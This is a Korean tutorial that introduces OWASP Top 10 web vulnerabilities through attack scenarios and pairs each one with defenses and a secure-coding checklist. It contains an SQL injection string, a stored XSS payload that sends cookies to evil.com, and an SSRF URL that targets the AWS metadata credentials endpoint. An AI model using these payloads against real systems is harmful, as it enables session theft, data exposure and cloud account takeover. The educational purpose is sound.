취약점
웹 해킹 입문 — OWASP Top 10을 실제 사례로 이해하기
SQL 인젝션, XSS, IDOR, SSRF 등 OWASP Top 10 취약점을 실제 공격 시나리오와 함께 해설합니다. 개발자와 보안 담당자 모두를 위한 실무 중심 가이드입니다.
OWASP(Open Web Application Security Project)는 매 3~4년마다 가장 위험한 웹 애플리케이션 취약점 Top 10을 발표한다. 이 목록은 전 세계 수백만 개 웹사이트 분석과 보안 전문가 조사를 기반으로 작성된다. 2021년 개정판 기준 주요 취약점을 실제 시나리오로 살펴본다.
A01. 취약한 접근 제어 (Broken Access Control)
2021년 1위. 권한 검증 없이 다른 사용자의 데이터에 접근할 수 있는 취약점이다.
IDOR 시나리오:
전형적 패턴: 순차 주문 ID를 조작해 타인의 배송지·연락처를 조회할 수 있는 형태로, 이커머스·예약 서비스에서 반복적으로 발견된다
GET /api/orders/12345 → 내 주문 정보GET /api/orders/12346 → 타인 주문 정보 (서버가 소유자 확인 안 함)전형적 패턴: 순차 주문 ID를 조작해 타인의 배송지·연락처를 조회할 수 있는 형태로, 이커머스·예약 서비스에서 반복적으로 발견된다
A02. 암호화 실패 (Cryptographic Failures)
- 비밀번호 평문 저장 또는 MD5/SHA1 단순 해시 사용
- HTTP로 민감 정보 전송
- 하드코딩된 암호화 키
- 취약한 랜덤 시드로 생성된 세션 토큰
A03. 인젝션 (Injection) — SQL 인젝션
사용자 입력이 SQL 쿼리의 일부로 해석되어 데이터베이스를 조작하는 공격이다.
공격 예시:
입력값:
완성된 쿼리:
결과: 모든 사용자 데이터 반환
입력값:
' OR '1'='1완성된 쿼리:
SELECT * FROM users WHERE id='' OR '1'='1'결과: 모든 사용자 데이터 반환
- 방어: Prepared Statement(파라미터화 쿼리) 사용 — 입력값이 절대 코드로 해석되지 않음
- ORM 사용 시에도 Raw Query 혼용 금지
- WAF(웹 방화벽)로 공격 패턴 1차 차단
A07. XSS (Cross-Site Scripting)
악성 스크립트를 웹페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격이다.
저장형 XSS 시나리오:
게시판 댓글에
→ 다른 사용자가 게시글 열람 시 쿠키(세션 토큰) 탈취
게시판 댓글에
<script>document.location='https://evil.com?c='+document.cookie</script> 삽입→ 다른 사용자가 게시글 열람 시 쿠키(세션 토큰) 탈취
- 방어: 출력 시 HTML 엔티티 인코딩 (
<→<) - Content Security Policy(CSP) 헤더 설정
- HttpOnly 쿠키 플래그 — JS로 쿠키 접근 차단
A10. SSRF (Server-Side Request Forgery)
서버가 외부 URL을 페치하는 기능을 악용해, 공격자가 내부 네트워크 리소스에 접근하게 만드는 공격이다. 클라우드 환경에서 특히 위험하다.
클라우드 메타데이터 탈취:
→ AWS 인스턴스 IAM 자격증명 탈취 → 클라우드 계정 전체 장악
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/→ AWS 인스턴스 IAM 자격증명 탈취 → 클라우드 계정 전체 장악
개발자를 위한 보안 코딩 체크리스트
- 모든 입력 값은 화이트리스트 기반 검증
- SQL은 반드시 Prepared Statement 사용
- 출력 시 컨텍스트별 인코딩 (HTML, JS, URL, CSS 각각 다름)
- 인증·권한 검증은 서버사이드에서 매 요청마다 수행
- 민감 데이터 로그 출력 금지
- 의존성 라이브러리 정기 취약점 스캔 (npm audit, OWASP Dependency-Check)
- 보안 헤더 설정: CSP, HSTS, X-Frame-Options, X-Content-Type-Options